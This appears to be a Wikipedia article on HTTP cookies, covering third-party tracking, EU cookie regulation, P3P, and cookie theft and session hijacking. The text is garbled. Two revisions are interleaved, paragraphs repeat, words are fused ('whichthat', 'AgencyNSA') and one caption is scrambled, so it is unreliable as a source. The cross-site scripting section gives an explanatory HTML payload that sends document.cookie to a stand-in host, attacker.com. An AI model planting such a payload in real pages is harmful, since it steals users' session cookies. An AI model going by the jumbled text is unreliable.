Most browsers also allow a full wipe of private data including cookies. Add-on tools for managing cookie permissions also exist.<ref name="microsoft2007">{{cite web|url=http://support.microsoft.com/kb/283185 |title=How to Manage Cookies in Internet Explorer 6 |publisher=Microsoft |date=December 18, 2007 |accessdate=2009-01-04}}</ref><ref>{{cite web|url=http://support.mozilla.com/en-US/kb/Clearing+Private+Data#top |title=Clearing private data |work=Firefox Support Knowledge base |publisher=Mozilla |date=16 September 2008 |accessdate=2009-01-04}}</ref><ref>{{cite web|url=http://www.google.com/support/chrome/bin/answer.py?hl=en&answer=95582 |title=Clear Personal Information : Clear browsing data |work=Google Chrome Help |publisher=Google |accessdate=2009-01-04}}</ref><ref>{{cite web|url=http://www.google.com/support/chrome/bin/answer.py?hl=en&answer=95626 |title=Clear Personal Information: Delete cookies |work=Google Chrome Help |publisher=Google |accessdate=2009-01-04}}</ref>
{{main|Third-party cookies}}
{{See also|Web analytics#Problems with cookies}}
Cookies have some important implications for the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet ___domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called ''third-party cookies''. A third-party cookie, belongs to a ___domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as [[banner advertisement]]s. This opens up the potential for [[web tracking|tracking]] the user's browsing history and is used by advertisers to [[ad server|serve relevant advertisements]] to each user.
 
[[File:Third party cookie.png|thumb|In this fictional example, an advertising company has placed banners in two websites. By hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two sites.]]
== Privacy and third-party cookies ==
As an example, suppose a user visits <code>www.example.org</code>. This website contains an advertisement from <code>ad.foxytracking.com</code>, which, when downloaded, sets a cookie belonging to the advertisement's ___domain (<code>ad.foxytracking.com</code>). Then, the user visits another website, <code>www.foo.com</code>, which also contains an advertisement from <code>ad.foxytracking.com</code> and sets a cookie belonging to that ___domain (<code>ad.foxytracking.com</code>). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser, through the use of the [[HTTP referer]] header field.
 
{{as of|2014}}, some websites were setting cookies readable for over 100 third-party domains.<ref name="BYMXD">{{cite web |url=http://webcookies.org/third-party-cookies/ |title=Third party domains |publisher=WebCookies.org |access-date=2014-12-07 |archive-url=https://web.archive.org/web/20141209234746/http://webcookies.org/third-party-cookies/ |archive-date=2014-12-09 |url-status=live}}</ref> On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.<ref name="cOnAw">{{cite web |url=http://webcookies.org/number-of-cookies/ |title=Number of cookies |publisher=WebCookies.org |access-date=2014-12-07 |archive-url=https://web.archive.org/web/20141209235956/http://webcookies.org/number-of-cookies/ |archive-date=2014-12-09 |url-status=live}}</ref>
Cookies have some important implications on the [[privacy]] and [[anonymity]] of Web users. While cookies are sent only to the server setting them or the server in the same [[Internet ___domain]], a Web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called ''third-party cookies''. The standards for cookies, RFC 2109 and RFC 2965, specify that browsers should protect user privacy and not allow third-party cookies by default. But most browsers, such as [[Mozilla Firefox]], [[Internet Explorer]], [[Opera (web browser)|Opera]] and [[Google Chrome]] do allow third-party cookies by default, as long as the third-party website has [[P3P|Compact Privacy Policy]] published.
 
The older standards for cookies, RFC 2109<ref name="RFC2109"/> and RFC 2965, recommend that browsers should protect user privacy and not allow sharing of cookies between servers by default. However, the newer standard, RFC 6265, explicitly allows user agents to implement whichever third-party cookie policy they wish. Most modern web browsers contain [[privacy settings]] that can [[ad blocker|block]] third-party cookies. Since 2020, [[Apple Safari]],<ref name="zw6bb">{{Cite web|last=Statt|first=Nick|date=2020-03-24|title=Apple updates Safari's anti-tracking tech with full third-party cookie blocking|url=https://www.theverge.com/2020/3/24/21192830/apple-safari-intelligent-tracking-privacy-full-third-party-cookie-blocking|access-date=2020-07-24|website=The Verge|language=en}}</ref> [[Firefox]],<ref name="GSofz">{{Cite web|date=2019-06-04|title=Firefox starts blocking third-party cookies by default|url=https://venturebeat.com/2019/06/04/firefox-enhanced-tracking-protection-blocks-third-party-cookies-by-default/|access-date=2020-07-24|website=VentureBeat|language=en-US}}</ref> and [[Brave (web browser)|Brave]]<ref name="sUPt1">{{Cite web|last=Brave|date=2020-02-06|title=OK Google, don't delay real browser privacy until 2022|url=https://brave.com/ok-google/|access-date=2020-07-24|website=Brave Browser|language=en-US}}</ref> block all third-party cookies by default. Safari allows embedded sites to use Storage Access API to request permission to set first-party cookies. In May 2020, [[Google Chrome]] 83 introduced new features to block third-party cookies by default in its Incognito mode for private browsing, making blocking optional during normal browsing. The same update also added an option to block first-party cookies.<ref name="xiHRq">{{cite web |last1=Protalinski |first1=Emil |title=Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito |url=https://venturebeat.com/2020/05/19/google-chrome-83/ |website=VentureBeat |access-date=25 June 2020 |date=19 May 2020}}</ref> In April 2024, Chrome postponed third-party cookie blocking by default to 2025.<ref>{{Cite web |last=Amadeo |first=Ron |date=2024-04-24 |title=Google can't quit third-party cookies—delays shut down for a third time |url=https://arstechnica.com/gadgets/2024/04/google-delays-third-party-cookie-death-again-now-scheduled-for-2025/ |access-date=2024-04-25 |website=Ars Technica |language=en-us}}</ref> In July 2024, Google announced plan to avoid blocking third-party cookies by default and instead prompt users to allow third-party cookies.<ref>{{Cite web |last=Lawler |first=Richard |date=2024-07-22 |title=Google's plan to turn off third-party cookies in Chrome is dying |url=https://www.theverge.com/2024/7/22/24203893/google-cookie-tracking-prompt-ad-targeting-privacy-sandbox |access-date=2024-07-29 |website=The Verge |language=en}}</ref>
[[File:Third party cookie.svg|thumb|In this fictional example, an advertising company has placed banners in two Web sites. Hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two sites.]]
Advertising companies use third-party cookies to track a user across multiple sites. In particular, an advertising company can track a user across all pages where it has placed advertising images or [[web bug]]s. Knowledge of the pages visited by a user allows the advertising company to target advertisements to the user's presumed preferences.
 
==Privacy==
Website operators who do not disclose third-party cookie use to consumer run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of such cookie discovery.<ref>Miyazaki, Anthony D. (2008), “Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage,” Journal of Public Policy & Marketing, 23 (Spring), 19–33.</ref>
{{See also|Do Not Track}}
The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
 
Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a [[privacy policy]]) tends to eliminate any negative effects of such cookie discovery.<ref name="dCj3R">Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33</ref>{{Failed verification|date=October 2022|reason=The article says the opposite: that apriori disclosure of cookies reduces trust, and that nobody reads privacy policies anyway.}}
The possibility of building a profile of users is considered by some a potential privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.
 
The [[United States]] government has set strict rules on setting cookies in 2000 after it was disclosed that the White House [[Office of National Drug Control Policy|drug policy office]] used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the [[Central Intelligence Agency|CIA]] had been leaving persistent cookies on computers whichthat had visited its web sitewebsite. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them.<ref>CBS News. [http://www.cbsnews.com/stories/2002/03/20/tech/main504131.shtml CIA Caught Sneaking Cookies]. March 20, 2002.</ref> On December 25, 2005, Brandt discovered that the [[National Security Agency]] (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the National Security AgencyNSA immediately disabled the cookies.<ref name="BnfI7">The{{cite Associated Press.news [http|url=https://www.nytimes.com/2005/12/29/national/29cookies.html |newspaper=New York Times |title=Spy Agency Removes Illegal Tracking Files]. December |date=2005-12-29, |access-date=2017-02-19 |archive-url=https://web.archive.org/web/20111112115242/http://www.nytimes.com/2005/12/29/national/29cookies.html |archive-date=2011-11-12 |url-status=live}}</ref>
 
===EU cookie directive===
The 2002 European Union telecommunication privacy Directive contains rules about the use of cookies.<ref>
{{Primary sources|date=October 2022|find=GDPR|section}}
{{cite web|url=http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:32002L0058:EN:NOT |title=Directive 2002/58/EC of the European Parliament and of the Council of 12 July 2002 concerning the processing of personal data and the protection of privacy in the electronic communications sector |publisher=eur-lex.europa.eu|accessdate=2010-03-16}}</ref> In particular, Article 5, Paragraph 3 of this directive mandates that storing data (like cookies) in a user's computer can only be done if:
In 2002, the European Union launched the [[Directive on Privacy and Electronic Communications]] (e-Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment.<ref name="JISC">{{cite web|title=EU Cookie Directive, Directive 2009/136/EC|url=http://www.jisclegal.ac.uk/ManageContent/ViewDetail/ID/1347/EU-Cookie-Directive--Directive-2009136EC.aspx|publisher=JISC Legal Information|access-date=31 October 2012|archive-url=https://web.archive.org/web/20121218093525/http://www.jisclegal.ac.uk/ManageContent/ViewDetail/ID/1347/EU-Cookie-Directive--Directive-2009136EC.aspx|archive-date=18 December 2012|url-status=live}}</ref><ref name="ICO reference">{{cite book|title=Privacy and Electronic Communications Regulations|year=2012|publisher=Information Commissioner's Office|url=http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/the_guide/~/media/documents/library/Privacy_and_electronic/Practical_application/cookies_guidance_v3.ashx|access-date=2012-10-31|archive-url=https://web.archive.org/web/20121030103207/http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/the_guide/~/media/documents/library/Privacy_and_electronic/Practical_application/cookies_guidance_v3.ashx|archive-date=2012-10-30|url-status=dead}}</ref> In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log-in sessions, or remember what is in a user's shopping basket.<ref>{{Cite web|date=2021-01-01|title=Cookies and similar technologies|url=https://ico.org.uk/for-organisations/guide-to-pecr/cookies-and-similar-technologies/|access-date=2021-06-06|website=ico.org.uk|language=en}}</ref>
#the user is provided information about how this data is used;
#the user is given the possibility of denying this storing operation. However, this article also states that storing data that is necessary for technical reasons is exempted from this rule. This directive was expected to have been applied since October 2003, but a [http://ec.europa.eu/information_society/policy/ecomm/doc/implementation_enforcement/annualreports/10threport/sec20041535vol1en.pdf December 2004 report] says (page 38) that this provision was not applied in practice, and that some member countries ([[Slovakia]], [[Latvia]], [[Greece]], [[Belgium]], and [[Luxembourg]]) did not even implement the provision in [[national law]]. The same report suggests a thorough analysis of the situation in the Member States.
 
In 2009, the law was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.<ref name="ICO reference" /> The definition of consent is cross-referenced to the definition in European data protection law, firstly the Data Protection Directive 1995 and subsequently the [[General Data Protection Regulation]] (GDPR). As the definition of consent was strengthened in the text of the GDPR, this had the effect of increasing the quality of consent required by those storing and accessing information such as cookies on users devices. In a case decided under the Data Protection Directive however, the [[Court of Justice of the European Union]] later confirmed however that the previous law implied the same strong quality of consent as the current instrument.<ref name="eur-lex.europa.eu">{{Cite web|title=EUR-Lex - 62017CN0673 - EN - EUR-Lex|url=https://eur-lex.europa.eu/legal-content/EN/ALL/?uri=CELEX:62017CN0673|access-date=2021-06-06|website=eur-lex.europa.eu}}</ref> In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground.<ref name="Veale">{{Citation |last1=Veale|first1=Michael|last2=Zuiderveen Borgesius|first2=Frederik|date=2021-04-01|title=Adtech and Real-Time Bidding under European Data Protection Law|url=https://osf.io/wg8fq|doi=10.31235/osf.io/wg8fq|s2cid=243311598|doi-access=free|hdl=2066/253518|hdl-access=free}}</ref><ref>{{Cite journal|last=Zuiderveen Borgesius|first=Frederik J.|date=August 2015|title=Personal data processing for behavioural targeting: which legal basis?|journal=International Data Privacy Law|language=en|volume=5|issue=3|pages=163–176|doi=10.1093/idpl/ipv011|issn=2044-3994|doi-access=free}}</ref>
The [[P3P]] specification includes the possibility for a server to state a privacy policy, which specifies which kind of information it collects and for which purpose. These policies include (but are not limited to) the use of information gathered using cookies. According to the P3P specification, a browser can accept or reject cookies by comparing the privacy policy with the stored user preferences or ask the user, presenting them the privacy policy as declared by the server.
 
Consent under the combination of the GDPR and e-Privacy Directive has to meet a number of conditions in relation to cookies.<ref name=":0">{{Cite book|last1=Nouwens|first1=Midas|last2=Liccardi|first2=Ilaria|last3=Veale|first3=Michael|last4=Karger|first4=David|last5=Kagal|first5=Lalana|title=Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems |chapter=Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence |date=2020-04-21|chapter-url=https://dl.acm.org/doi/10.1145/3313831.3376321|series=Chi '20|language=en|___location=Honolulu HI USA|publisher=ACM|pages=1–13|doi=10.1145/3313831.3376321|arxiv=2001.02479|isbn=978-1-4503-6708-0|hdl=1721.1/129999|s2cid=210064317|hdl-access=free}}</ref> It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995<ref name="eur-lex.europa.eu"/> and the GDPR (Recital 32).<ref name=":1">{{Cite web|title=EUR-Lex - 32016R0679 - EN - EUR-Lex|url=https://eur-lex.europa.eu/eli/reg/2016/679/oj|access-date=2021-06-06|website=eur-lex.europa.eu|language=en}}</ref> The GDPR is specific that consent must be as 'easy to withdraw as to give',<ref name=":1" /> meaning that a reject-all button must be as easy to access in terms of clicks and visibility as an 'accept all' button.<ref name=":0" /> It must be specific and informed, meaning that consent relates to particular purposes for the use of this data, and all organisations seeking to use this consent must be specifically named.<ref name=":2">{{Cite book|last=Information Commissioner's Office|url=https://cy.ico.org.uk/media/about-the-ico/documents/2615156/adtech-real-time-bidding-report-201906-dl191220.pdf|title=Update Report into Adtech and Real Time Bidding|year=2019|archive-url=https://web.archive.org/web/20210513192000/https://cy.ico.org.uk/media/about-the-ico/documents/2615156/adtech-real-time-bidding-report-201906-dl191220.pdf|archive-date=2021-05-13|url-status=live}}</ref><ref>{{Cite web|url=https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038783337|access-date=2021-06-06|title=Délibération n° 2019-093 du 4 juillet 2019 portant adoption de lignes directrices relatives à l'application de l'article 82 de la loi du 6 janvier 1978 modifiée aux opérations de lecture ou écriture dans le terminal d'un utilisateur (notamment aux cookies et autres traceurs) (rectificatif)|website=www.legifrance.gouv.fr}}</ref> The [[Court of Justice of the European Union]] has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards.<ref>{{Cite web|title=EUR-Lex - 62017CC0040 - EN - EUR-Lex|url=https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:62017CC0040|access-date=2021-06-06|website=eur-lex.europa.eu}}</ref>
Many web browsers including Apple's Safari and Microsoft Internet Explorer versions 6 and 7 support P3P which allows the web browser to determine whether to allow 3rd party cookies to be stored. The Opera web browser allows users to refuse third-party cookies and to create global and specific security profiles for Internet domains.<ref>{{cite web|url=http://operawiki.info/NewCookieSettings|publisher=OperaWiki.info|title=Cookie Settings for Opera 9|accessdate=2008-01-20}}</ref> Firefox 2.x dropped this option from its menu system but it restored it with the release of version 3.x.<ref>{{cite web|url=http://support.mozilla.com/en-US/kb/Disabling+third+party+cookies|publisher=Mozilla.com|title=Disabling third party cookies}}</ref>
 
The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of [[Privacy International]] argues that proper enforcement would "destroy the entire industry".<ref name="sKaxf">{{cite magazine|title=EU cookie law: stop whining and just get on with it|magazine=Wired UK|url=https://www.wired.co.uk/news/archive/2012-05/24/eu-cookie-law-moaning|access-date=31 October 2012|archive-url=https://web.archive.org/web/20121115110013/http://www.wired.co.uk/news/archive/2012-05/24/eu-cookie-law-moaning|archive-date=15 November 2012|url-status=live|date=2012-05-24}}</ref> However, scholars note that the onerous nature of cookie pop-ups stems from an attempt to continue to operate a business model through convoluted requests that may be incompatible with the GDPR.<ref name="Veale"/>
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's Web experience.<ref name=howtoblock>{{cite news|first=Rob |last=Pegoraro |url=http://www.washingtonpost.com/wp-dyn/content/article/2005/07/16/AR2005071600111.html |title=How to Block Tracking Cookies |page=F07 |date=July 17, 2005 |publisher=Washington Post |accessdate=2009-01-04}}</ref> Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.<ref>[http://taco.dubfire.net/ Taco.Dubfire.net], TACO, the Targeted Advertising Cookie Opt-Out Firefox extension</ref>
 
Academic studies and regulators both describe widespread non-compliance with the law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to minimal legal requirements, with only 33.4% of websites studied providing a mechanism to reject cookies that was as easy to use as accepting them.<ref name=":0"/> A study of 17,000 websites found that 84% of sites breached this criterion, finding additionally that many laid third party cookies with no notice at all.<ref>{{cite book | last1=Kampanos | first1=Georgios | last2=Shahandashti | first2=Siamak F. | series=IFIP Advances in Information and Communication Technology | volume=625 | title=ICT Systems Security and Privacy Protection | chapter=Accept All: The Landscape of Cookie Banners in Greece and the UK | publisher=Springer International Publishing | publication-place=Cham | year=2021 | isbn=978-3-030-78119-4 | issn=1868-4238 | doi=10.1007/978-3-030-78120-0_14 | pages=213–227|arxiv=2104.05750| s2cid=233219491 }}</ref> The UK regulator, the [[Information Commissioner's Office]], stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the [[Interactive Advertising Bureau]] was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR [e-Privacy] compliance.'<ref name=":2" /> Many companies that sell compliance solutions (Consent Management Platforms) permit them to be configured in manifestly illegal ways, which scholars have noted creates questions around the appropriate allocation of liability.<ref>{{Citation|last1=Santos|first1=Cristiana|date=2021|url=https://link.springer.com/10.1007/978-3-030-76663-4_3|work=Privacy Technologies and Policy|volume=12703|pages=47–69|editor-last=Gruschka|editor-first=Nils|place=Cham|publisher=Springer International Publishing|language=en|doi=10.1007/978-3-030-76663-4_3|isbn=978-3-030-76662-7|access-date=2021-06-06|last2=Nouwens|first2=Midas|last3=Toth|first3=Michael|last4=Bielova|first4=Nataliia|last5=Roca|first5=Vincent|title=Consent Management Platforms Under the GDPR: Processors and/Or Controllers? |series=Lecture Notes in Computer Science |editor2-last=Antunes|editor2-first=Luís Filipe Coelho|editor3-last=Rannenberg|editor3-first=Kai|editor4-last=Drogkaris|editor4-first=Prokopios|arxiv=2104.06861|s2cid=233231428}}</ref>
<!--We need some information in here about the use of third party logins within iframes, these effectively create a third party cookie, and some browsers/servers incorrectly report this denial as being that cookies have been disabled, when of course they have not, its just that third party cookies have been disabled In particular this is a problem on the iphone and the ipad (safari in general?), which only allow 3 options "always", "never" and "only sites that I visit" allowing no option for third party cookies in the scenario above-->
 
A [[W3C]] specification called [[P3P]] was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.<ref>{{Cite web|title=P3P: The Platform for Privacy Preferences|url=https://www.w3.org/P3P/Overview.html|access-date=2021-10-15|website=W3C }}</ref>
== Cookie Theft and Session Hijacking ==
Most websites use cookies as the only identifiers for user sessions – the alternatives of identifying web users other than using cookies have their own limitations and vulnerabilities. For the websites using cookies as session identifiers, attackers can impersonate users’ requests if they have stolen a full set of victims’ cookies. From web server point of view, a request from attacker will have the same authentication as the victim’s and hence is performed on behalf of victim’s session, with that, victim’s session is hijacked.
 
Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both.<ref>{{Cite journal|last1=Zuiderveen Borgesius|first1=F.J.|last2=Kruikemeier|first2=S.|last3=C Boerman|first3=S.|last4=Helberger|first4=N.|date=2017|title=Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation|url=http://edpl.lexxion.eu/article/EDPL/2017/3/9|journal=European Data Protection Law Review|volume=3|issue=3|pages=353–368|doi=10.21552/edpl/2017/3/9|hdl=11245.1/dfb59b54-0544-4c65-815a-640eae10668a|hdl-access=free}}</ref> In 2020, the [[European Data Protection Board]], composed of all EU data protection regulators, stated that cookie walls were illegal.<blockquote>In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls).<ref>{{Cite web|title=Guidelines 05/2020 on consent under Regulation 2016/679 {{!}} European Data Protection Board|url=https://edpb.europa.eu/our-work-tools/our-documents/guidelines/guidelines-052020-consent-under-regulation-2016679_en|access-date=2021-06-06|website=edpb.europa.eu}}</ref></blockquote>Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.<ref name="nyt-bits">{{cite web|title=A Loophole Big Enough for a Cookie to Fit Through|url=http://bits.blogs.nytimes.com/2010/09/17/a-loophole-big-enough-for-a-cookie-to-fit-through/|work=Bits|publisher=The New York Times|access-date=31 January 2013|archive-url=https://web.archive.org/web/20130126032302/http://bits.blogs.nytimes.com/2010/09/17/a-loophole-big-enough-for-a-cookie-to-fit-through/|archive-date=26 January 2013|url-status=live|date=2010-09-17}}</ref><ref name="howtoblock">{{cite news |first=Rob |last=Pegoraro |url=https://www.washingtonpost.com/wp-dyn/content/article/2005/07/16/AR2005071600111.html |title=How to Block Tracking Cookies |page=F07 |date=July 17, 2005 |newspaper=Washington Post |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20110427074701/http://www.washingtonpost.com/wp-dyn/content/article/2005/07/16/AR2005071600111.html |archive-date=April 27, 2011 |url-status=live}}</ref> However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies.<ref>{{Cite news|last=Claburn|first=Thomas|___location=San Francisco|title=What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses|url=https://www.theregister.com/2021/02/24/dns_cname_tracking/|access-date=2021-06-06|website=www.theregister.com|language=en}}</ref><ref>{{cite arXiv|last1=Dimova|first1=Yana|last2=Acar|first2=Gunes|last3=Olejnik|first3=Lukasz|last4=Joosen|first4=Wouter|last5=Van Goethem|first5=Tom|date=2021-03-05|title=The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion|class=cs.CR|eprint=2102.09301}}</ref> Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.<ref name=":0"/>
Below explains various scenarios of cookie theft and user session hijacking (even without stealing user cookies), for websites that rely solely on HTTP Cookies for user identifications.
<!--
 
We need some information in here about the use of third party logins within iframes, these effectively create a third party cookie, and some browsers/servers incorrectly report this denial as being that cookies have been disabled, when of course they have not, its just that third party cookies have been disabled In particular this is a problem on the iphone and the ipad (safari in general?), which only allow 3 options "always", "never" and "only sites that I visit" allowing no option for third party cookies in the scenario above
=== Network Eavesdropping ===
[[File:Cookie-sniffing.svg|thumb|A cookie can be stolen by another computer that is allowed reading from the network]]
Traffic on a network can be intercepted and read by computers on the network other than its sender and its receiver (particularly over [[plaintext|unencrypted]] open [[Wi-Fi]]). This traffic includes cookies sent on ordinary unencrypted [[HTTP]] sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations.
 
-->
So if the attackers wanted more than just eavesdropping, they could use harvested cookies, impersonate a user to perform a malicious task, like transfer money out of victim’s account.
 
==Cookie theft and session hijacking==
This issue can be resolved by securing the communication between the user's computer and the server by employing [[Transport Layer Security]] ([[HTTPS]] protocol) to encrypt the connection. A server can specify the ''Secure'' flag while setting a cookie; the browser will only send it over an encrypted channel, such as an SSL connection.<ref>[http://www.w3.org/Protocols/rfc2109/rfc2109 HTTP State Management].</ref>
{{Multiple issues|section=yes|
{{Original research|section|date=September 2011}}
{{Unreferenced section|date=September 2011}}
}}<!--This seems to refer to just the "lede" of this section, not the subsections themselves.-->
 
Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session.
=== Publishing false sub-___domain – [[DNS cache poisoning]] ===
Via [[DNS cache poisoning]], an attacker might be able to make a DNS server to cache a fabricated DNS entry, say <code>f12345.www.example.com</code> with attacker’s server IP address. And then, the attacker can post an image URL from his own server (for example, <code><nowiki>http://f12345.www.example.com/img_4_cookie.jpg</nowiki></code>). Victims reading attacker’s message, would download this image from <code>f12345.www.example.com</code>. Since <code>f12345.www.example.com</code> is a sub-___domain of <code>www.example.com</code>, victims’ browsers would submit all <code>example.com</code> related cookies to the attacker’s server; the compromised cookies would also include ''HttpOnly'' cookies.
 
Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification.
This vulnerability is usually for [[Internet Service Provider]]s to fix, by securing their DNS servers. But it can also be mitigated if <code>www.example.com</code> is using ''Secure'' cookies. Victims’ browsers will not submit ''Secure'' cookies if the attacker’s image is not using encrypted connections. If attacker chose to use [[HTTPS]] for his img_4_cookie.jpg download, he would have the challenge of obtaining an SSL certificate for <code>f12345.www.example.com</code> from a [[Certificate Authority]]. Without proper SSL certificate, victims’ browser would display (usually very visible) warning messages about the invalid certificate, hence alert victims and probably the security officials from <code><nowiki>www.example.com</nowiki></code>.
 
===Network eavesdropping===
=== [[Cross-site scripting]] – cookie theft ===
[[File:Cookie-theftsniffing.svg|thumb|Cross-site scripting: aA cookie that shouldcan be onlystolen exchangedby betweenanother acomputer serverthat andis aallowed clientreading isfrom sent to anotherthe partynetwork.]]
Scripting languages such as [[JavaScript]] and [[JScript]] are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet. These facts are used in combination with sites allowing users to post HTML content that other users can see.
 
Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over [[plaintext|unencrypted]] open [[Wi-Fi]]). This traffic includes cookies sent on ordinary unencrypted [[HTTP sessions]]. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a [[man-in-the-middle attack]].
As an example, an attacker may post a message on <code>www.example.com</code> with the following link:
 
An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.
:<code><nowiki><a href="#" onclick="window.___location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a></nowiki></code>
 
This issue can be resolved by securing the communication between the user's computer and the server by employing [[Transport Layer Security]] ([[HTTPS]] protocol) to encrypt the connection. A server can specify the <code>Secure</code> flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.<ref name="httponlyrfc" />
When another user clicks on this link, the browser executes the piece of code within the <code>onclick</code> attribute, thus replacing the string <code>document.cookie</code> with the list of cookies of the user that are active for the page. As a result, this list of cookies is sent to the <code>attacker.com</code> server. If the attacker’s posting is on <code><nowiki>https://www.example.com/somewhere</nowiki></code>, secure cookies will also be sent to attacker.com in plain text.
 
===Publishing false sub-___domain: DNS cache poisoning===
Cross-site scripting is a constant threat, as there are always some crackers trying to find a way of slipping in script tags to websites. It is the responsibility of website development to filter out such malicious code.
If an attacker is able to cause a [[DNS server]] to cache a fabricated DNS entry (called [[DNS cache poisoning]]), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of <code>f12345.www.example.com</code> that points to the [[IP address]] of the attacker's server. The attacker can then post an image URL from his own server (for example, <code><nowiki>http://f12345.www.example.com/img_4_cookie.jpg</nowiki></code>). Victims reading the attacker's message would download this image from <code>f12345.www.example.com</code>. Since <code>f12345.www.example.com</code> is a sub-___domain of <code>www.example.com</code>, victims' browsers would submit all <code>example.com</code>-related cookies to the attacker's server.
 
If an attacker is able to accomplish this, it is usually the fault of the [[Internet Service Provider]]s for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge<ref name="certificatehack">{{cite web | last=Zetter | first=Kim | title=Hack Obtains 9 Bogus Certificates for Prominent Websites; Traced to Iran - Threat Level - Wired.com | website=Threat Level | date=2011-03-23 | url=http://www.wired.com/threatlevel/2011/03/comodo-compromise/ | archive-url=https://web.archive.org/web/20140326184859/http://www.wired.com/threatlevel/2011/03/comodo-compromise/ | archive-date=2014-03-26 | url-status=unfit}}</ref> of obtaining the target website's TLS certificate from a [[certificate authority]], since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.
In the mean time, such attacks can be mitigated by using ''HttpOnly'' cookies. These cookies will not be accessible by client side script, and therefore the attacker will not be able to gather these cookies.
 
